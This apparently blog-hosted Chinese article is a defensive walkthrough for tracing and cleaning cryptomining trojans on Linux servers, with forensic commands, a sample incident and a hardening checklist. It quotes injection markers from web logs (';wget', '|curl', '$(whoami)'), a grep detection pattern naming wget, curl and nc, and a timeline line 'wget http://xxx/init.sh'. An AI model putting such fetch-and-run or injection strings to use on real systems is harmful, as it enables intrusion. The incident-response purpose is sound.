ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Linux挖矿木马溯源实战:从攻击链拆解到持久化清除

Linux挖矿木马溯源实战:从攻击链拆解到持久化清除 这标题一看就是干安全的人写的。挖矿木马这事儿说大不大说小不小它不加密你的文件不锁你的屏幕但放在企业内网里它往往是入侵者伸进来的第一只手——先踩点、再试探、成了就下矿机占资源后续想干什么都可以。很多公司第一次发现自己被入侵不是靠告警平台而是靠“服务器怎么这么卡”“这个月电费怎么爆了”。等到你顺着CPU占用率挖下去才发现后面藏了一整条攻击链。这篇我把自己做溯源分析时积累的思路、命令、判断标准和踩过的坑整理出来侧重Linux平台的实战排查从攻击链拆解到隐藏手段再还原一个完整的溯源过程最后给一份常见问题速查表。内容偏防守视角适合安全运维、蓝队工程师、还有那些被“莫名其妙卡顿”折磨的系统管理员参考。1. 挖矿木马的攻击链全景拆解1.1 攻击链全貌一次典型的挖矿木马入侵拆开看大概有七个阶段阶段攻击者行为留下的痕迹侦察探测扫描公网IP段、识别开放端口、匹配指纹流量侧扫描记录、访问日志异常初始入侵弱口令爆破、Web漏洞利用、未授权访问认证失败日志、Web请求特征、异常进程启动载荷投放通过命令注入或定时任务下载挖矿程序下载命令、/tmp和/var/tmp下的新文件持久化部署写计划任务、注册系统服务、植入SSH后门crontab条目、systemd服务文件、新SSH密钥隐藏对抗进程改名、删除源文件、清理日志、Rootkit可疑进程、异常网络连接、日志断档挖矿执行连接矿池、占满CPU/GPU、调整进程优先级外联矿池流量、CPU异常飙升横向移动内网扫描、复用口令、批量投放内网探测流量、多台机器同时中招这个链条里最值得关注的是两条线入侵路径和持久化路径。入侵路径决定了你从哪儿发现它持久化路径决定了你能不能把它清干净。很多处置团队经常犯一个错——发现挖矿进程直接kill掉CPU正常了就收工结果半夜crontab又把程序拉起来循环往复。所以说溯源不能只找“凶手”必须找到“凶手藏身的地方”。1.2 攻击者的核心诉求挖矿木马的作者也是讲“投入产出比”的。相比于勒索病毒要跟受害者周旋、收赎金、洗钱挖矿是典型的“闷声发大财”模式程序部署完就不用管了机器24小时替你打工收益自动进钱包。所以这类木马普遍具备几个特点自动化程度极高从扫描到植入往往一条命令完成脚本下载完就自删尽可能减少需要人工介入的环节。对机器性能贪婪但不贪婪到被发现很多成熟的挖矿木马会检测CPU核数只占部分核心或者在业务高峰期主动降负荷给自己留生存空间。持久化优先级高于挖矿本身你经常能看到一个现象挖矿进程被清理后反反复复出现就是因为攻击者先落了地、做了后门挖矿只是后门的一次“营业”而已。理解这几点你排查的时候心态就不一样了。你不会满足于“把CPU降下来”你会想着“它凭什么还能起来”“它下一次起来的入口在哪”——这恰恰是网络安全的坚持。2. 常见入侵手法解剖2.1 弱口令爆破这是挖矿木马最传统也最有效的入口。互联网上随时有扫描器在扫22、3389、3306、6379这些端口拿到开放结果之后就是字典爆破。很多内网服务器挂的公网IP密码还停留在服务器的“初始密码”或“部门通用密码”基本上等于把门敞开。排查要点Linux看认证日志grep -i failed /var/log/auth.log或/var/log/secure重点看同一来源IP短时间内多次失败然后突然成功了一次——那一下就是爆破成功点。Windows看安全事件ID 4625登录失败、4624登录成功配合4648显式凭据登录能还原出爆破成功的那个瞬间。成功登录之后攻击者会立即执行一小段命令关闭历史记录、下载木马、清理痕迹。所以你在日志里看到“登录成功→短暂间隙→大量内网扫描或外联请求”基本可以锁定。加固方向密码复杂度策略、登录失败锁定、SSH密钥认证、端口收敛到内网访问缺一不可。2.2 未授权访问Redis未授权访问是挖矿木马最经典的跳板之一。早期很多Redis监听在0.0.0.0:6379没有任何认证攻击者连上之后通过写crontab或写SSH公钥的方式直接拿到主机权限。还有Docker的2375端口、Kubernetes的API Server 6443端口这些端口一旦暴露到公网等于把整个容器集群的钥匙交出去。这类入侵最大的特点是干净——不需要爆破、没有失败日志攻击者进来就是进来。而且很多是通过配置缺陷而非漏洞实现你打补丁没用得改配置。排查要点检查Redis是否开启认证redis-cli -h ip -p 6379 info看Requirepass字段是否为空。Docker情况检查2375端口是否监听在非回环地址ss -tlnp | grep 2375如果监听地址是0.0.0.0就要警惕。查审计日志如果开启了auditd可以看到异常进程从redis-server的上下文拉起或者由远程API创建了容器。加固方向所有中间件必须强制认证监听地址尽量只留回环或内网网段云安全组做最小授权不要拍脑袋开“全部端口”。2.3 Web漏洞利用Web是攻击者最喜欢的入口因为它不需要碰边界直接穿过防火墙。近年常见的挖矿木马利用点包括使用弱口令的系统后台、老版本框架的反序列化漏洞、上传功能没有做强校验、命令执行参数过滤不严。攻击者通常先利用漏洞拿到一个低权限shell然后用内核提权漏洞把自己变成root再部署挖矿程序。这种入侵方式在日志里反而最“显眼”——只是很多人不会看。Web日志中会出现大量带有命令特征的请求参数;wget、|curl、$(whoami)、/bin/sh -c这些符号出现在URL里绝对不正常。排查要点查Web访问日志grep -E (wget|curl|whoami|/bin/sh|nc|python -c) access.log搜索高频命令特征词。按时间线回溯找到木马程序的创建时间然后回查这个时间点前后的HTTP请求定位漏洞触发的那一条记录。反序列化攻击通常是一个超长的畸形报文日志里表现为某条请求长度异常或者对应接口的请求量突然在非业务时段出现。加固方向Web框架及时升级、上传目录禁止脚本执行、对命令执行类参数做白名单校验、WAF在必要场景可以挡一层但别指望WAF能兜底。3. 持久化与隐藏技术解析3.1 持久化阵地攻击者花心思做持久化目的只有一个清掉挖矿进程没关系我要保证我的程序还能被再次拉起来。常见的阵地有crontab用户级写/var/spool/cron/root系统级写/etc/crontab或者放在/etc/cron.d/下面。攻击者的计划任务通常会写成“每隔几分钟执行一个远程脚本”脚本内容经过混淆或base64编码。systemd服务在/etc/systemd/system/下放一个看起来像系统服务的unit文件名字可能是update.service、systemd-helper.service这类“合法”名称开机自启。rc.local老系统的经典启动项写一行命令就能实现开机执行。SSH公钥后门往/root/.ssh/authorized_keys里写入攻击者的公钥好处是即使所有计划任务都清了他依然能随时随地SSH进来重新部署。排查时不要只看一两个位置要把上面几处全部过一遍。我见过最离谱的情况是攻击者在四五个地方都埋了持久化运维以为清了草就完事结果第二天又复现一个一个排查才全部排完。3.2 隐藏手法与破局思路挖矿木马的隐藏手段按“技术含量”可以分三档第一档靠名字。进程名改成kworker、ksoftirqd、systemd或者干脆是java、nginx隐藏在一堆正常进程中间。文件放在/tmp、/var/tmp、/dev/shm这些容易被忽略的目录文件名起成...、.libc.so、.X11-unix这类带点或带横杠的乱码。这种最底层但反而能骗过80%的人因为大多数人看进程列表只看名字不看路径。破局办法不要只看ps的名字列执行ls -l /proc/[pid]/exe看这个进程的可执行文件到底指向哪里。正常系统进程指向/usr/sbin/或/usr/bin/挖矿进程几乎必然指向/tmp、/dev/shm或某个隐藏目录。第二档靠删除。攻击者在成功运行木马后会马上删除源文件。进程还在跑但你在磁盘上找不到对应文件。这时候你kill进程是无效的——文件已经没了进程退出就彻底消失你连样本都拿不到。破局办法用ls -l /proc/[pid]/fd查看进程打开的文件句柄很多情况下能找到已经被删除但仍被进程占用的文件路径后面带(deleted)标记。趁进程还活着用cp /proc/[pid]/exe /tmp/样本把内存中的可执行文件抠出来。这一步做得越早后面的样本分析越轻松。第三档上Rootkit。通过LD_PRELOAD加载恶意动态库或者直接加载内核模块实现“我就是不让你看到我”。用户态执行ps、ls、find、netstat看到的都是被“过滤”后的结果。这种对抗级别普通命令已经不可信只能借助查/proc、查syscall或者用专门的Rootkit检测工具。破局办法查看/proc目录下是否存在大量没有对应进程名映射的PID检查LD_PRELOAD变量是否被恶意修改通过cat /proc/modules比对内核模块列表。对于纯命令行的临时排查ls -la /proc/[pid]和cat /proc/[pid]/maps往往能发现动态链接库的异常路径。4. 实战溯源方法论4.1 主机侧排查从“卡顿”到“实锤”排查的第一步是找到“嫌疑进程”。不要一上来就跑各种商业工具先用最小命令集快速锁目标# 查看CPU占用前10的进程 top -b -n 1 | head -20 # 按CPU使用率排序 ps -eo pid,ppid,%cpu,%mem,cmd --sort-%cpu | head -20找到高CPU进程后不要急着kill按以下顺序取信息# 1. 看可执行文件路径 ls -al /proc/[pid]/exe # 2. 看工作目录 ls -al /proc/[pid]/cwd # 3. 看进程打开的目录和文件 ls -al /proc/[pid]/fd | head -50 # 4. 看进程启动命令行 cat /proc/[pid]/cmdline | tr \0 # 5. 看父进程是谁 ps -fp [ppid]这一步能回答三个问题这个进程是谁拉起来的、程序放在哪、它正在干什么。如果进程名看着像系统进程但exe指向/tmp或者父进程是1init但你根本没见过这个程序基本可以断定是挖矿木马。4.2 网络侧排查矿池连接是铁证挖矿木马无论怎么隐藏进程最终必须跟矿池服务器通信。网络连接是绕不开的。Linux下用ss即可ss -antup | grep ESTABLISHED ss -antup | grep -v 127.0.0.1\|内网网段挖矿流量有几个特征值得记住矿池常用端口3333、4444、5555、7777、8080、14444、45560等如果看到对境外IP的4444或5555端口连接高度疑似矿池。连接特征挖矿程序通常与矿池建立长连接不断上传算力数据。表现为一个进程持续性对外发送数据包流量虽然不大但从不间断。DNS请求特征矿池域名往往有mine、pool、xmr、crypto等字样或者是一长串随机子域名通过tcpdump -i eth0 -nn port 53可以看到频繁解析异常域名。如果某些木马做了DNS隧道或托管加密混淆网络侧不容易一眼识别就回到进程和文件侧找突破口。但绝大多数挖矿木马没那个耐心做高级混淆因为算力传输经不起加解密开销。4.3 日志与样本分析还原完整入侵剧本确认了机器被入侵接下来要回答“怎么进来的”。日志分析按数据源逐个排查# SSH登录日志 grep Accepted /var/log/auth.log grep Failed password /var/log/auth.log # 近期用户登录行为 last -20 lastlog # 命令历史 cat /root/.bash_historyWeb日志、数据库日志、中间件日志按受害机器的角色进一步排查。这里分享一个个人经验不要从头到尾扫一遍日志要按照“木马程序创建时间”逆推。先用stat查看可疑文件的时间戳得到文件创建时间然后回查这个时间点前后10分钟内的登录记录和Web请求你会发现目标小得多效率高得多。样本分析方面如果拿到了二进制文件先做基础信息提取file 样本 md5sum 样本 sha256sum 样本 strings 样本 | grep -iE pool|http|/tmp|curl|wget|password|root|ssh把哈希值丢到VirusTotal等情报平台查询如果命中已知矿机或后门基本实锤。strings里的矿池地址和钱包地址也可以直接用于关联其他受害机器。4.4 事件时间线与结论输出溯源到最后一定要形成一条完整的时间线14:32:00 攻击者IP 223.xxx.xxx.xxx开始对22端口爆破 14:47:11 爆破成功用户root登录 14:47:20 执行 wget http://xxx/init.sh 14:47:35 写入crontab计划任务 14:48:02 下载挖矿主程序并运行源文件删除 14:50:00 日志清理/root/.bash_history被清空时间线是溯源报告的灵魂。有了它你才能明确边界、确定影响范围、复盘漏洞点也才能在跟领导汇报时做到“一页纸说清楚”。另外时间线还能帮你区分“这是一次孤立的脚本扫描命中”还是“有组织有预谋的定向攻击”这两者的后续处置策略完全不同。5. 一个完整的溯源案例复盘说个前阵子在群里帮朋友看的真实场景细节做了脱敏。现象公司一台跑数据库的Linux服务器CPU莫名其妙100%业务不卡但监控持续告警。运维上去看了一眼top发现一个叫kworker的进程占了接近500%CPU但系统负载看起来没那么高有点怪于是找我来一起看。第一个命令就看穿了ls -l /proc/[pid]/exe # 输出/var/tmp/.../.lib/lib.so名称里带着.lib还藏在/var/tmp的随机目录下基本锁定异常。接着查/proc下的打开文件和网络连接ss -antup | grep [pid] # 看到一条到境外IP 4444端口的ESTABLISHED连接端口4444是常见矿池端口实锤挖矿。然后开始做持久化排查crontab -l cat /etc/crontab ls -la /etc/cron.d/果然发现/etc/cron.d/update里有一条计划任务内容是每隔5分钟从某个可疑域名下载cache.sh并执行。脚本内容是一个典型的加载器下载主程序、设置执行权限、运行后自删、把自身写入多台机器的SSH公钥。到这里处置思路就清晰了先断外联或封禁矿池IP让挖矿程序无法通信删除计划任务文件和下载脚本结束挖矿进程并把/proc/[pid]/exe拷贝出来留作样本检查/root/.ssh/authorized_keys清掉陌生公钥排查同一网段其他主机是否被横向感染关于入侵路径日志回溯发现攻击者是通过弱口令爆破进来的/var/log/auth.log里能看到攻击IP在爆破成功前尝试了几千次。这说明当时这台数据库服务器暴露在公网root密码又很弱被扫到只是时间问题。处置完成之后我的建议很直接root密码立刻换改成强随机密码SSH端口改成非标准端口防的是扫描器不是说改端口多安全启用密钥登录并禁用密码登录MySQL只监听内网IP。这台机器上的数据库密码如果跟系统口令有关联也一并改掉。这个案例没什么高深技巧但它代表了一大批真实事件入口很普通弱口令、持久化很常规计划任务、隐藏很初级进程改名。真正让企业吃亏的往往不是工具不够先进而是发现太晚、处置不全、不查根源。6. 常见问题与排查技巧实录6.1 高频问题速查表场景可能原因处置建议清理进程后CPU正常一段时间又飙升计划任务/服务自动拉起了矿机按3.1节检查所有持久化阵地别只杀进程进程在ps里看不到但CPU很高使用了内核级Rootkit或LD_PRELOAD隐藏查看/proc目录对比PID检查LD_PRELOAD使用Rootkit查杀工具挖矿程序已删除但网络连接还在文件删除但进程未退出在进程退出前用/proc/[pid]/exe把样本copy出来长时间看不到外联矿池连接攻击者改用了80/443端口混淆检查web服务的异常请求转发检查DNS请求日志内网多台机器同时中招已发生横向移动优先排查控制端/跳板机建议全网改密并统一排查日志文件被清空攻击者做了清理检查bash_history之外是否有auditd日志、网络设备日志、备份日志一个重要提醒发现挖矿木马后不要第一时间关机。关机看起来是“止损”实际上会丢失内存中的进程信息、网络连接状态和临时文件尤其是样本还没抠出来的时候。正确顺序是断外联、取证、留存样本、清理、加固、恢复。除非这台机器已经彻底失控且无法隔离否则关机一定是最后选项。6.2 我踩过的几个坑第一个坑只查/tmp目录。刚开始做排查时我喜欢从/tmp切入因为80%的初阶木马都放在这儿。后来遇到的样本开始往/var/tmp、/dev/shm、/var/log伪装成日志文件甚至在用户目录下的隐藏文件夹里钻。查文件时要覆盖所有可写的高危目录不要只盯一个。第二个坑先kill再看exe。有一次看到可疑进程顺手就kill -9结果进程是回去了文件也找不到了连样本都没留下。后来养成习惯了任何可疑进程都先ls -l /proc/[pid]/exe、cat /proc/[pid]/maps、cp /proc/[pid]/exe留证据然后再清理。第三个坑忘了查容器。在某次排查中宿主机干干净净CPU却持续异常。最后发现挖矿程序跑在容器里是通过Docker未授权API打入的。从这以后我查机器时会顺手查一下docker ps、nerdctl ps、crictl ps特别是那些近期创建时间对不上的容器。第四个坑忽略历史时间线。刚开始溯源总是盯着当天的日志找结果怎么都对不上。后来发现攻击者可能早就殁了挖矿程序是后面才被激活的。这时候你得从文件时间戳倒推看看系统里最早的可疑文件是什么时间出现的再往前追日志你才能在时间线上找到那个最早的缺口。6.3 常用命令速记# 综合排查命令集合Linux # 进程 ps -eo pid,ppid,%cpu,%mem,cmd --sort-%cpu | head -20 # 网络 ss -antup # 计划任务 crontab -l ls -la /etc/cron.d/ /var/spool/cron/ # 启动项 systemctl list-unit-files | grep enabled ls -la /etc/rc.local /etc/init.d/ # 登录日志与用户 grep Accepted\|Failed /var/log/auth.log last -20 # 高危目录文件 ls -la /tmp /var/tmp /dev/shm # 可疑文件时间戳 find /tmp /var/tmp -mtime -3 -type f # 历史命令 cat /root/.bash_history如果是在Windows平台上对应的排查思路换成# 查看进程和对应路径 wmic process list full # 查看网络连接和PID netstat -anob # 查看计划任务 schtasks /query /fo LIST /v # 查看自启动服务 reg query HKLM\SYSTEM\CurrentControlSet\Services # 开机自启目录 dir C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp排查思路是共通的盯住CPU异常、外联连接、计划任务、SSH公钥这四板斧能覆盖绝大多数挖矿木马。6.4 事后加固与复盘要点清理完木马工作远远没有结束。我在实际项目中总结了一份“挖矿木马处置后必做清单”全量修改服务器密码包括root、数据库、应用账号排查SSH公钥目录删除未知authorized_keys条目检查所有计划任务和开机启动项是否干净收敛公网暴露面非必要不开放SSH、数据库、Redis端口关键系统做基线巡检补丁更新、防火墙策略、账号权限复盘入侵路径写清楚时间线、漏洞点、影响范围对同网段其他设备做一次批量排查防止横向残留我个人做过很多次这样的事后复盘越来越觉得一个道理很重要杀毒是治标找入口是治本。你清掉的永远只是对方随手扔进来的一件工具真正的漏洞不补上今天清挖矿明天可能就是勒索后天可能就是数据被拖走。把每次挖矿事件当成一次完整的红队演练去对待收获会大得多。
返回列表